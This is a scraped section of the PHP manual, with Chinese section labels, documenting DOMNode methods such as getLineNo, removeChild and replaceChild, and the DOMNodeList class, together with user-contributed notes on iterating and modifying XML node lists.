(PHP 5 >= 5.3.0, PHP 7)

DOMNode::getLineNo — Get line number for a node

说明

public DOMNode::getLineNo ( void ) : int

Gets line number for where the node is defined.

参数

此函数没有参数。

返回值

Always returns the line number where the node was defined in.

范例

Example #1 DOMNode::getLineNo() example

<?php
// XML dump for below example
$xml = <<<XML
<?xml version="1.0" encoding="utf-8"?>
<root>
    <node />
</root>
XML;

// Create a new DOMDocument instance
$dom = new DOMDocument;

// Load the XML
$dom->loadXML($xml);

// Print where the line where the 'node' element was defined in
printf('The <node> tag is defined on line %d', $dom->getElementsByTagName('node')->item(0)->getLineNo());
?>

以上例程会输出：

The <node> tag is defined in line 3

User Contributed Notes

ruud at vanmelick dot com 25-Oct-2013 09:15
The 65535 line number limit is no longer a problem when you use libxml 2.9 or higher, but you have to explicitly enable support for big line numbers:

<?php
define('XML_PARSE_BIG_LINES', 4194304);
$dom = new DOMDocument;
$dom->loadXML($xml, XML_PARSE_BIG_LINES);
?>
Anonymous 19-May-2012 02:21
The DOMNode::getLineNo() method doesn't work properly due to a libxml2 bug.

https://bugzilla.gnome.org/show_bug.cgi?id=676026
luke dot NOREPLY at webconnex dot com 04-Mar-2011 06:28
This function is buggy. It doesn't always return the correct line number, especially for text elements. As an alternative you can do something like this:

<?php
$text = $node->ownerDocument->saveXML($node);
$line += substr_count($text, "\n");
?>

You'll want to keep a reference to $line (starting at 0) and add to it as you parse over the document recursively.

In order for this to work you have to tell DOMDocument to preserve white space before loading the document.


Get an XPath for a node

  • ? DOMNode::getLineNo
  • DOMNode::hasAttributes ?
  • PHP Manual
  • DOMNode
  • Get an XPath for a node

DOMNode::getNodePath

(PHP 5 >= 5.2.0, PHP 7)

DOMNode::getNodePath — Get an XPath for a node

说明

public DOMNode::getNodePath ( void ) : string

Gets an XPath location path for the node.

参数

此函数没有参数。

返回值

Returns a string containing the XPath, or NULL in case of an error.

范例

Example #1 DOMNode::getNodePath() example

<?php
// Create a new DOMDocument instance
$dom = new DOMDocument;

// Load the XML
$dom->loadXML('
<fruits>
 <apples>
  <apple>braeburn</apple>
  <apple>granny smith</apple>
 </apples>
 <pears>
  <pear>conference</pear>
 </pears>
</fruits>
');

// Print XPath for each element
foreach ($dom->getElementsByTagName('*') as $node) {
    echo $node->getNodePath() . "\n";
}
?>

以上例程会输出：

/fruits
/fruits/apples
/fruits/apples/apple[1]
/fruits/apples/apple[2]
/fruits/pears
/fruits/pears/pear

参见

  • DOMXPath

User Contributed Notes

There are no user contributed notes for this page.


Checks if node has attributes

  • ? DOMNode::getNodePath
  • DOMNode::hasChildNodes ?
  • PHP Manual
  • DOMNode
  • Checks if node has attributes

DOMNode::hasAttributes

(PHP 5, PHP 7)

DOMNode::hasAttributes — Checks if node has attributes

说明

public DOMNode::hasAttributes ( void ) : bool

This method checks if the node has attributes. The tested node has to be an XML_ELEMENT_NODE.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • DOMNode::hasChildNodes() - Checks if node has children

User Contributed Notes

There are no user contributed notes for this page.


Checks if node has children

  • ? DOMNode::hasAttributes
  • DOMNode::insertBefore ?
  • PHP Manual
  • DOMNode
  • Checks if node has children

DOMNode::hasChildNodes

(PHP 5, PHP 7)

DOMNode::hasChildNodes — Checks if node has children

说明

public DOMNode::hasChildNodes ( void ) : bool

This function checks if the node has children.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • DOMNode::hasAttributes() - Checks if node has attributes

User Contributed Notes

Anonymous 21-Mar-2015 04:33
Hi what if its a dynamic file and we cannot use get elements by tag name then how do we print the contents of all level tags?
richard dot gildx at gmail dot com 29-Jul-2012 01:20
This "hasChildNodes()" exercise is simple enough to make it clear and understandable. Or, you could take it as a tag empty check. By Richard Holm, Sweden.

<?php
$xmldoc=
'<?xml version="1.0" ?>
<root>
<text>Text</text>
<none/>
<empty></empty>
<space> </space>
</root>';

$domdoc=new DOMDocument();
$domdoc->loadXML($xmldoc);

$tag=$domdoc->getElementsByTagName('root')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('text')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('none')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('empty')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('space')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";
?>

Output:
root hasChildNodes
text hasChildNodes
none hasNoChildNodes
empty hasNoChildNodes
space hasChildNodes
sansana 14-Oct-2010 07:04
Personally I think using a simple:[code]if($DOMNode->childNodes <>0){}[/code] works better.
syngcw at syncgw.com 04-Jan-2010 05:53
This function is a bit tricky. If you want to find XML childnodes it is useless. You need to create a work-around:

<?php

$x = new DOMDocument();
$x->loadXML('
<A>
 <B>b-text</B>
 <C>
  <D>d-text</D>
 </C>
 <E/>
</A>');

shownode($x->getElementsByTagName('A')->item(0));
function shownode($x) {
 foreach ($x->childNodes as $p)
  if (hasChild($p)) {
      echo $p->nodeName.' -> CHILDNODES<br>';
      shownode($p);
  } elseif ($p->nodeType == XML_ELEMENT_NODE)
   echo $p->nodeName.' '.$p->nodeValue.'<br>';
}
function hasChild($p) {
 if ($p->hasChildNodes()) {
  foreach ($p->childNodes as $c) {
   if ($c->nodeType == XML_ELEMENT_NODE)
    return true;
  }
 }
 return false;
}

?>

shows:
B b-text
C -> CHILDNODES
D d-text
E
jintoppy at gmail dot com 28-Apr-2009 04:13
<?php

$doc = new DOMDocument;
$node = $doc->createElement("FirstMain", "First Main Node. This have child");
$doc->appendChild($node);
$childnode = $doc->createElement("childnode", "child node");
$node->appendChild($childnode);
$secondnode = $doc->createElement("SecondMain", "First Main Node. This don't have child");
$doc->appendChild($secondnode);
$doc->saveXML();
$nodeElmt = $doc->getElementsByTagName("FirstMain");
/*
if given as $nodeElmt = $doc->getElementsByTagName("childnode");
the output would be "This node has childnodes"

if given as $nodeElmt = $doc->getElementsByTagName("SecondMain");
the output would be "This node has no childnodes"

*/

foreach($nodeElmt as $nodeElmt)
{
if($nodeElmt->hasChildNodes())
{
echo "This node has childnodes";
}
else
{
echo "This node has no childnodes";
}
}

  ?>

- - - - - - - - - - - - - -

Output:

This node has childnodes

- - - - - - - - - - - - - -


Adds a new child before a reference node

  • ? DOMNode::hasChildNodes
  • DOMNode::isDefaultNamespace ?
  • PHP Manual
  • DOMNode
  • Adds a new child before a reference node

DOMNode::insertBefore

(PHP 5, PHP 7)

DOMNode::insertBefore — Adds a new child before a reference node

说明

public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode

This function inserts a new node right before the reference node. If you plan to do further modifications on the appended child you must use the returned node.

参数

newnode

The new node.

refnode

The reference node. If not supplied, newnode is appended to the children.

返回值

The inserted node.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the newnode node, or if the node to append is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if newnode was created from a different document than the one that created this node.

DOM_NOT_FOUND

Raised if refnode is not a child of this node.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children

User Contributed Notes

There are no user contributed notes for this page.


Checks if the specified namespaceURI is the default namespace or not

  • ? DOMNode::insertBefore
  • DOMNode::isSameNode ?
  • PHP Manual
  • DOMNode
  • Checks if the specified namespaceURI is the default namespace or not

DOMNode::isDefaultNamespace

(PHP 5, PHP 7)

DOMNode::isDefaultNamespace — Checks if the specified namespaceURI is the default namespace or not

说明

public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool

Tells whether namespaceURI is the default namespace.

参数

namespaceURI

The namespace URI to look for.

返回值

Return TRUE if namespaceURI is the default namespace, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Indicates if two nodes are the same node

  • ? DOMNode::isDefaultNamespace
  • DOMNode::isSupported ?
  • PHP Manual
  • DOMNode
  • Indicates if two nodes are the same node

DOMNode::isSameNode

(PHP 5, PHP 7)

DOMNode::isSameNode — Indicates if two nodes are the same node

说明

public DOMNode::isSameNode ( DOMNode $node ) : bool

This function indicates if two nodes are the same node. The comparison is not based on content

参数

node

The compared node.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


Checks if feature is supported for specified version

  • ? DOMNode::isSameNode
  • DOMNode::lookupNamespaceUri ?
  • PHP Manual
  • DOMNode
  • Checks if feature is supported for specified version

DOMNode::isSupported

(PHP 5, PHP 7)

DOMNode::isSupported — Checks if feature is supported for specified version

说明

public DOMNode::isSupported ( string $feature , string $version ) : bool

Checks if the asked feature is supported for the specified version.

参数

feature

The feature to test. See the example of DOMImplementation::hasFeature() for a list of features.

version

The version number of the feature to test.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • DOMImplementation::hasFeature() - Test if the DOM implementation implements a specific feature

User Contributed Notes

There are no user contributed notes for this page.


Gets the namespace URI of the node based on the prefix

  • ? DOMNode::isSupported
  • DOMNode::lookupPrefix ?
  • PHP Manual
  • DOMNode
  • Gets the namespace URI of the node based on the prefix

DOMNode::lookupNamespaceUri

(PHP 5, PHP 7)

DOMNode::lookupNamespaceUri — Gets the namespace URI of the node based on the prefix

说明

public DOMNode::lookupNamespaceUri ( string $prefix ) : string

Gets the namespace URI of the node based on the prefix.

参数

prefix

The prefix of the namespace.

返回值

The namespace URI of the node.

参见

  • DOMNode::lookupPrefix() - Gets the namespace prefix of the node based on the namespace URI

User Contributed Notes

_ michael 30-Apr-2010 02:22
You have to pass *null* to lookupNamespaceURI if you want to read the default namespace. Passing an empty string doesn't work - even though the documentation says that lookupNamespaceURI takes a string as argument (and null would just be converted to an empty string).
lewar 05-Jun-2007 05:20
Simple way to get the URI of the default namespace:

<?php
    $document = new DOMDocument();
    $document->load($xml_file);
    $uri = $document->documentElement->lookupnamespaceURI(NULL);
?>


Gets the namespace prefix of the node based on the namespace URI

  • ? DOMNode::lookupNamespaceUri
  • DOMNode::normalize ?
  • PHP Manual
  • DOMNode
  • Gets the namespace prefix of the node based on the namespace URI

DOMNode::lookupPrefix

(PHP 5, PHP 7)

DOMNode::lookupPrefix — Gets the namespace prefix of the node based on the namespace URI

说明

public DOMNode::lookupPrefix ( string $namespaceURI ) : string

Gets the namespace prefix of the node based on the namespace URI.

参数

namespaceURI

The namespace URI.

返回值

The prefix of the namespace.

参见

  • DOMNode::lookupNamespaceUri() - Gets the namespace URI of the node based on the prefix

User Contributed Notes

There are no user contributed notes for this page.


Normalizes the node

  • ? DOMNode::lookupPrefix
  • DOMNode::removeChild ?
  • PHP Manual
  • DOMNode
  • Normalizes the node

DOMNode::normalize

(PHP 5, PHP 7)

DOMNode::normalize — Normalizes the node

说明

public DOMNode::normalize ( void ) : void

Remove empty text nodes and merge adjacent text nodes in this node and all its children.

返回值

没有返回值。

参见

  • » The DOM Specification
  • DOMDocument::normalizeDocument() - Normalizes the document

User Contributed Notes

Amir Laher 22-Aug-2005 04:45
This is a quote from the DOM level 2 spec, explaining the normalize() function.
----
normalize
Puts all Text nodes in the full depth of the sub-tree underneath this Node, including attribute nodes, into a "normal" form where only structure (e.g., elements, comments, processing instructions, CDATA sections, and entity references) separates Text nodes, i.e., there are neither adjacent Text nodes nor empty Text nodes. This can be used to ensure that the DOM view of a document is the same as if it were saved and re-loaded, and is useful when operations (such as XPointer [XPointer] lookups) that depend on a particular document tree structure are to be used.
----
(source: http://www.w3.org/TR/DOM-Level-2-Core/core.html)

i.e. the idea of normalize is to make text nodes the same as they would be if the xml document was re-loaded into DOM. It's handy if you want to compare DOM nodes.


Removes child from list of children

  • ? DOMNode::normalize
  • DOMNode::replaceChild ?
  • PHP Manual
  • DOMNode
  • Removes child from list of children

DOMNode::removeChild

(PHP 5, PHP 7)

DOMNode::removeChild — Removes child from list of children

说明

public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode

This functions removes a child from a list of children.

参数

oldnode

The removed child.

返回值

If the child could be removed the function returns the old child.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly.

DOM_NOT_FOUND

Raised if oldnode is not a child of this node.

范例

The following example will delete the chapter element of our XML document.

Example #1 Removing a child

<?php

$doc = new DOMDocument;
$doc->load('book.xml');

$book = $doc->documentElement;

// we retrieve the chapter and remove it from the book
$chapter = $book->getElementsByTagName('chapter')->item(0);
$oldchapter = $book->removeChild($chapter);

echo $doc->saveXML();
?>

以上例程会输出：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.1.2//EN"
          "http://www.oasis-open.org/docbook/xml/4.1.2/docbookx.dtd">
<book id="listing">
 <title>My lists</title>

</book>

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMNode::replaceChild() - Replaces a child

User Contributed Notes

nggit@phpindonesia 01-Feb-2019 02:29
You can use foreach to remove multiple elements from a DOMNodeList, only if you use a temporary array or via XPath query.
If not, the simplest way will be:

<?php

while ($element = $nodeList->item(0)) {
    $element->parentNode->removeChild($element);
}

?>
Kenney 28-Mar-2013 10:19
This method will remove all child nodes but leave the attributes (and namespace declarations) intact.

<?php
function removeChildren( &$node )
{
  $node->parentNode->replaceChild(
    $n = $node->cloneNode( false ),
    $node );

  $node = $n;
}
?>
drimsun at gmail dot com 11-Feb-2010 03:37
If you try to remove children of a nested node (e.g. a <ul> list that contains another <ul>) and only remove the first level of child nodes, you'll get a messed-up node object.

Upon re-use of the messed-up node you'll get an error message that says: "Fatal error: Call to a member function blahblah() on a non-object".

To remove ALL child nodes, use this recursive function instead:
<?php
/**
 * Helper function that removes all child nodes of $node recursively
 * (i.e. including child nodes of the child nodes and so forth).
 */
function remove_children(&$node) {
  while ($node->firstChild) {
    while ($node->firstChild->firstChild) {
      remove_children($node->firstChild);
    }
    $node->removeChild($node->firstChild);
  }
}
?>
Justin Carlson 05-Nov-2009 11:46
Just a note, if you remove a node the whitespace it occupied will remain if you save the file.

To avoid this, use $document->preserveWhiteSpace = false;

For Example:

<?php
$document = new DomDocument();
$document->preserveWhiteSpace = false;
?>
crazy888s at hotmail dot com 15-Apr-2009 01:50
You can't remove DOMNodes from a DOMNodeList as you're iterating over them in a foreach loop. For example...

<?php
$domNodeList = $domDocument->getElementsByTagname('p');
foreach ( $domNodeList as $domElement ) {
  //  ...do stuff with $domElement...
  $domElement->parentNode->removeChild($domElement);
}
?>

... will seemingly leave the internal iterator on the foreach out of wack and results will be quite strange. Though, making a queue of items to remove seems to work. For example...

<?php
$domNodeList = $domDocument->getElementsByTagname('p');
$domElemsToRemove = array();
foreach ( $domNodeList as $domElement ) {
  // ...do stuff with $domElement...
  $domElemsToRemove[] = $domElement;
}
foreach( $domElemsToRemove as $domElement ){
  $domElement->parentNode->removeChild($domElement);
}
?>
Justin Sheckler 30-Jan-2009 08:44
These two functions might be helpful to anyone trying to delete a node and all of its children:

<?php
function deleteNode($node) {
    deleteChildren($node);
    $parent = $node->parentNode;
    $oldnode = $parent->removeChild($node);
}

function deleteChildren($node) {
    while (isset($node->firstChild)) {
        deleteChildren($node->firstChild);
        $node->removeChild($node->firstChild);
    }
}
?>
tim cameron ryan 19-Jul-2008 01:00
Or something like:

<?php

while ($node->childNodes->length)
     $node->removeChild($node->firstChild);

?>
Michael D (DigitalGemstones.com) 05-Jul-2008 04:15
Note that iterating through the childNodes array and removing those children will stop the iteration.

For example:
<?php
foreach($node->childNodes as $child)
{
  if(iWantToDeleteThisNode($child))
     $child->parentNode->removeChild($child);
}
?>

Will not work.  Note that in removing the node, the childNodes array gets rebuilt (it seems) and so only the first item will be removed.  In order to properly remove all the children you want to remove, you will need to do something like the following:

<?php
$nodesToDelete = array();
foreach($node->childNodes as $child)
{
  if(iWantToDeleteThisNode($child))
    $nodesToDelete[] = $child;
}
foreach($nodesToDelete as $node)
{
  $node->parentNode->removeChild($node);
}
?>

I believe this is actually more efficient than the first snippet would be (if it worked) but obviously I cannot benchmark it.
Wala 04-Apr-2008 10:57
I used the following to delete an entire node using the child element:

<?php
$childElement->parentNode->parentNode-> removeChild($childElement->parentNode);
?>

I could not have thought of it without the help of everyone who contributed to this thread.

Thanks!

(I had to introduce the extra space between parentNode->removeChild to get rid of the wordwrap() warning while posting this note)
Vasil Rangelov 06-Oct-2007 10:14
At the time of writing, I suppose rightfully, removeChild() removes only the selected node, but when you remove an element, it's child elements are not removed. If you want to achieve that, replaceChild() is the solution.

The following should remove all descendants of the $node DOMNode, regardless of it's name:
<?php
$node->replaceChild(new DOMElement($node->nodeName), $node);
?>
If you're replacing the root element, you must explicitly state that with $node->documentElement as the second argument.
mytto at openxtrem dot com 07-Sep-2005 02:20
Back again on removing childs and iterators robustness.

Things get a bit more complicated when you only want to remove 'some' nodes according to a certain condition. Then you can't just remove the first one repeatedly.

The trick is to copy the content of the node list into a more robust collection than DOMNodeList, I name array!

The following piece of code will, for instance, remove all empty child nodes:

<?php
// Copy childNodes array
$childNodes = array();
foreach($node->childNodes as $childNode) {
  $childNodes[] = $childNode;
}

// Browse with the copy
foreach ($childNodes as $childNode) {
  if (!$childNode->hasChildNodes()); {
    $childNode->parentNode->removeChild($childNode);
  }
}
?>
blaine (at) blainegarrett (dot com) 23-Aug-2005 10:10
This might be obvious, but might help someone as well...

If you simply have a node that you need to remove (perhaps from an xpath) and don't know the parent node offhand (the examples seem to assume you have the parent in a variable), then you can do something easy like this...

$node->parentNode->removeChild($node);

parentNode is a scalar property of the Element.

Hope that helps.

--
Blaine Garrett
pedro at leb dot usp dot br 30-May-2005 04:24
You may also use the hasChild function:
<?php

while($node->hasChildNodes()) {
  $node->removeChild($node->childNodes->item(0));
}

?>

When you remove a childNode, the next node becomes the first one!
vsematika at centrum dot cz 13-Feb-2005 03:35
For those who don't understand >sbeam at onsetcorps dot net on 02-Feb-2005 12:07< 'hack', here's a little discussion:

First but *wrong* try would be:
<?php
foreach ($parent->childNodes as $child) {
   $parent->removeChild($child);
?>
This doesn't work because DOM tree id modified on-the-fly and this confuses foreach loop.

The idea behind sbeam's trick is that after removing the first item in the first iteration, the second item in childNodes nodelist immediately becomes the first item. That's why we must _always_ remove the first child. Here's another implementation:

<?php
$count = $parent->childNodes->length;
for ($i = 0; $i < $count; $i++) {
   $oldNode = $parent->removeChild($parent->childNodes->item(0)); // !!! not item($i) !!!
}
?>


Replaces a child

  • ? DOMNode::removeChild
  • DOMNodeList ?
  • PHP Manual
  • DOMNode
  • Replaces a child

DOMNode::replaceChild

(PHP 5, PHP 7)

DOMNode::replaceChild — Replaces a child

说明

public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode

This function replaces the child oldnode with the passed new node. If the newnode is already a child it will not be added a second time. If the replacement succeeds the old node is returned.

参数

newnode

The new node. It must be a member of the target document, i.e. created by one of the DOMDocument->createXXX() methods or imported in the document by DOMDocument::importNode.

oldnode

The old node.

返回值

The old node or FALSE if an error occur.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the newnode node, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if newnode was created from a different document than the one that created this node.

DOM_NOT_FOUND

Raised if oldnode is not a child of this node.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMNode::removeChild() - Removes child from list of children

User Contributed Notes

chealer at gmail dot com 15-Aug-2018 03:07
As of version 5.6, PHP still behaves as reported by jb at jbpros dot com. To use replaceChild() in a loop, the more standard pattern used in the following example can be used:

for ($currentNode = 0; $currentNode < $link->childNodes->length; $currentNode++) {
    $child = $link->childNodes[$currentNode];

    // "Remove" links, since links can't contain links
    if ($child instanceof DOMElement && $child->tagName == 'a') {
        $replacement = $dom->createTextNode($child->textContent);
        $link->replaceChild($replacement, $child);
    }
}
jb at jbpros dot com 01-Mar-2005 08:08
If you are trying to replace more than one node at once, you have to be careful about iterating over the DOMNodeList.  If the old node has a different name from the new node, it will be removed from the list once it has been replaced.  Use a regressive loop:

<?php

$xml = new DOMDocument;
$xml->load('docfile.xml');

$elements = $xml->getElementsByTagNameNS('http://www.example.com/NS/', '*');
$i = $elements->length - 1;
while ($i > -1) {
    $element = $elements->item($i);
    $ignore = false;

    $newelement = $xml>createTextNode('Some new node!');
    $element->parentNode->replaceChild($newelement, $element);
    $i--;
}

?>

The loop counter ($i) will always be in the list's interval as removed elements indexes are above the counter.
aidan at php dot net 26-Dec-2004 02:17
Here is a simple example for replacing a node:

Let's define our XML like so:

<?php
$xml = <<<XML
<?xml version="1.0"?>
<root>
  <parent>
     <child>bar</child>
     <child>foo</child>
  </parent>
</root>
XML;
?>

If we wanted to replace the entire <parent> node, we could do something like this:

<?php
// Create a new document fragment to hold the new <parent> node
$parent = new DomDocument;
$parent_node = $parent ->createElement('parent');

// Add some children
$parent_node->appendChild($parent->createElement('child', 'somevalue'));
$parent_node->appendChild($parent->createElement('child', 'anothervalue'));

// Add the keywordset into the new document
// The $parent variable now holds the new node as a document fragment
$parent->appendChild($parent_node);
?>

Next, we need to locate the old node:

<?php
// Load the XML
$dom = new DomDocument;
$dom->loadXML($xml);

// Locate the old parent node
$xpath = new DOMXpath($dom);
$nodelist = $xpath->query('/root/parent');
$oldnode = $nodelist->item(0);
?>

We then import and replace the new node:

<?php
// Load the $parent document fragment into the current document
$newnode = $dom->importNode($parent->documentElement, true);

// Replace
$oldnode->parentNode->replaceChild($newnode, $oldnode);

// Display
echo $dom->saveXML();
?>

Our new node is successfully imported:

<?xml version="1.0"?>
<root>
<parent><child>somevalue</child><child>anothervalue</child></parent>
</root>
franp at free dot fr 23-Sep-2004 08:39
1) If your XPath query returns a NodeList including a unique item, or if you know for sure the order of the items returned, you can use the "item(n)" syntax instead of the "foreach" syntax.
This can greatly improve you code lisibility.
s the method name implies, replaceChild cannot replace a node itself but a child of a node.
The trick is to use replaceChild on the parent node of your Xpath query result.

<?xml version="1.0" ?>
<action>
 <actionGlobal>
  <actionGlobalFR>sometext</actionGlobalFR>
 <actionGlobal>
</action>

$frag = $doc->createElement("actionGlobalFR");
$fragA = $doc->createTextNode("anothertext");
$frag->appendChild($fragA);

$xpResult = $xp->query("/action/actionGlobal/actionGlobalFR");
$blipblip = $xpResult->item(0)->parentNode->replaceChild($ajout, $xpResult->item(0));

2) Also, as the method name implies, replaceChild cannot replace a node itself but a child of a node.
Still it is possible to replace a node pointed by XPath istead of its child.
The trick is to use replaceChild on the parent node of your Xpath query result.

<?xml version="1.0" ?>
<action>
  <FR>French Text</FR>
</action>

<?php
$frag = $doc->createElement("EN");
$fragA = $doc->createTextNode("English Text");
$frag->appendChild($fragA);

$xpResult = $xp->query("/action/FR");
$blipblip = $xpResult->item(0)->parentNode->replaceChild($fragA, $xpResult->item(0));
?>

Et voil? !

This produces :
<?xml version="1.0" ?>
<action>
  <EN>English Text</EN>
</action>

....................................................

3) Also, be carefull, you CANNOT replace a node that doesn't exist.
While this may seems obvious, it is easy to forget.

Consider this :
<?xml version="1.0" ?>
<action>
  <EN></EN>
</action>

You cannot use replaceChild() to turn this into :
<?xml version="1.0" ?>
<action>
  <EN>Some text</EN>
</action>

The reason is that since the <EN></EN> element is empty, it has no child (this is clearer to understand if you consider that <EN></EN> can be written <EN />).
The fact that you intend to put some text inbetween <EN> and </EN> does not change the fact that it has no text yet, thus no child yet.
When dealing with DOM, do not take your dream for the reality. The DOM parser doen't care about your dreams. If an element is currently empty, it has no child, whatever you intend to fill in.

Thus, the solution to teh problem is to use appendChild intead of replaceChild :

<?php
$fragA = $doc->createTextNode("Some Text");
$xpResult = $xp->query("/action/EN");
$blipblip = $xpResult->item(0)->appendChild($fragA);
?>

This produces the awaited :
<?xml version="1.0" ?>
<action>
  <EN>Some Text</EN>
</action>

....................................................

4) Note that the description of replaceChild in the doc is wrong. Arguments have been inverted.
The correct description is :
object DOMNode->replaceChild (object newnode, object oldnode)


The DOMNodeList class

(PHP 5, PHP 7)

类摘要

DOMNodeList implements Traversable , Countable {
/* 属性 */
readonly public int $length ;
/* 方法 */
public count ( void ) : int
item ( int $index ) : DOMNode
}

属性

length

The number of nodes in the list. The range of valid child node indices is 0 to length - 1 inclusive.

更新日志

版本 | 说明
7.2.0 | The Countable interface is implemented and returns the value of the length property.

参见

  • » W3C specification of NodeList

Table of Contents

  • DOMNodeList::count — Get number of nodes in the list
  • DOMNodeList::item — Retrieves a node specified by index

User Contributed Notes

ignitedfirestarter at gmail dot com 04-Jul-2012 10:39
If you want to recurse over a DOM then this might help:
<?php

/**
 * PHP's DOM classes are recursive but don't provide an implementation of
 * RecursiveIterator. This class provides a RecursiveIterator for looping over DOMNodeList
 */
class DOMNodeRecursiveIterator extends ArrayIterator implements RecursiveIterator {

  public function __construct (DOMNodeList $node_list) {

    $nodes = array();
    foreach($node_list as $node) {
      $nodes[] = $node;
    }

    parent::__construct($nodes);

  }

  public function getRecursiveIterator(){
    return new RecursiveIteratorIterator($this, RecursiveIteratorIterator::SELF_FIRST);
  }

  public function hasChildren () {
    return $this->current()->hasChildNodes();
  }

  public function getChildren () {
    return new self($this->current()->childNodes);
  }

}
?>
geompse at gmail dot com 19-May-2010 08:39
Note that $length is calculated (php5.3.2).
Iterating over a large NodeList may be time expensive.

Prefer :
$nb = $nodelist->length;
for($pos=0; $pos<$nb; $pos++)

Than:
for($pos=0; $pos<$nodelist->length; $pos++)

I had a hard time figuring that out...
bobvandell at hotmail dot com 26-Aug-2008 09:12
That's actually incorrect. You can use function results as objects. It makes building an API for your database very clean and neat. For example:

Our code:

$articles = Node::screate('tags', 123456)->assets('like:title:test')->articles;

We use the above code to get articles that are linked to assets that are linked to a specific tag in our database.
c dot 1 at smithies dot org 23-May-2008 05:43
You can modify, and even delete, nodes from a DOMNodeList if you iterate backwards:

$els = $document->getElementsByTagName('input');
for ($i = $els->length; --$i >= 0; ) {
  $el = $els->item($i);
  switch ($el->getAttribute('name')) {
    case 'MAX_FILE_SIZE' :
      $el->parentNode->removeChild($el);
    break;
    case 'inputfile' :
      $el->setAttribute('type', 'text');
    //break;
  }
}
drichter at muvicom dot de 14-May-2008 06:11
Addition to my first note:

An traditional for-loop does not allow you to change the DOM-tree while looping - the effects are the nearly the same as with foreach. So you have to collect the nodes in an array and do the tree-altering stuff within a second loop (looping the array this time ...)
drichter at muvicom dot de 14-May-2008 04:56
I have done some testing and have found 2 results:
(My System: Win XP with PHP 5.2.1)

1) Iteration with foreach does function correctly as "james dot j dot hackett at gmail dot com" writes, _if_ you only do readonly stuff with foreach or minor writings of some attributes.

2) foreach does not function, if you are doing some DOM-Operations while iterating. In my situation it was adding the iterated $node as an child to an new node:

$newNode = $dom->createElement('newNode') ;
foreach ($nodeList as $node) {
  echo $node->nodeValue ;
  $newNode->appendChild($node) ;
}

This only gives you the first element ...

I'm interpreting it as an confusing but correct behavior because of the changes within the $dom-object while appending the node at an additional place ...

So, if you want to do something like 2) use for, length and item() :)
james dot j dot hackett at gmail dot com 08-May-2008 09:47
In Response to 'kassah at gmail'

You don't need to convert a DOMNodeList to an array in order iterate through it using 'foreach'.  You can use foreach directly with the DOMNodeList.

$nodeList = $someDomDocument->getElementsbytagname('user');

foreach ($nodeList as $node) {
    echo $node->nodeValue;
}
brack at wjp dot de 21-Apr-2008 02:35
In PHP 5.2.5 (Windows) it is not possible to iterate correctly over the DOMNodeList object returned by DOMNode->childNodes using foreach. Instead I had to use the for loop in conjunction with the item() method of DOMNodeList for iterating over all child nodes correctly.

I don't know whether this is really a bug, but apparently it is.


Get number of nodes in the list

  • ? DOMNodeList
  • DOMNodeList::item ?
  • PHP Manual
  • DOMNodeList
  • Get number of nodes in the list

DOMNodeList::count

(PHP 7 >= 7.2.0)

DOMNodeList::count — Get number of nodes in the list

说明

public DOMNodeList::count ( void ) : int

Gets the number of nodes in the list.

参数

此函数没有参数。

返回值

Returns the number of nodes in the list, which is identical to the length property.

User Contributed Notes

plimpton47 at example dot com 04-May-2018 08:09
Be careful with using this function as it's not available for anything before PHP 7.2, use the length property instead


Retrieves a node specified by index

  • ? DOMNodeList::count
  • DOMNotation ?
  • PHP Manual
  • DOMNodeList
  • Retrieves a node specified by index

DOMNodeList::item

(PHP 5, PHP 7)

DOMNodeList::item — Retrieves a node specified by index

说明

DOMNodeList::item ( int $index ) : DOMNode

Retrieves a node specified by index within the DOMNodeList object.

Tip

If you need to know the number of nodes in the collection, use the length property of the DOMNodeList object.

参数

index

Index of the node into the collection.

返回值

The node at the indexth position in the DOMNodeList, or NULL if that is not a valid index.

范例

Example #1 Traversing all the entries of the table

<?php

$doc = new DOMDocument;
$doc->load('book.xml');

$items = $doc->getElementsByTagName('entry');

for ($i = 0; $i < $items->length; $i++) {
    echo $items->item($i)->nodeValue . "\n";
}

?>

Alternatively, you can use foreach, which is a much more convenient way:

<?php

foreach ($items as $item) {
    echo $item->nodeValue . "\n";
}

?>

以上例程会输出：

Title
Author
Language
ISBN
The Grapes of Wrath
John Steinbeck
en
0140186409
The Pearl
John Steinbeck
en
014017737X
Samarcande
Amine Maalouf
fr
2253051209

User Contributed Notes

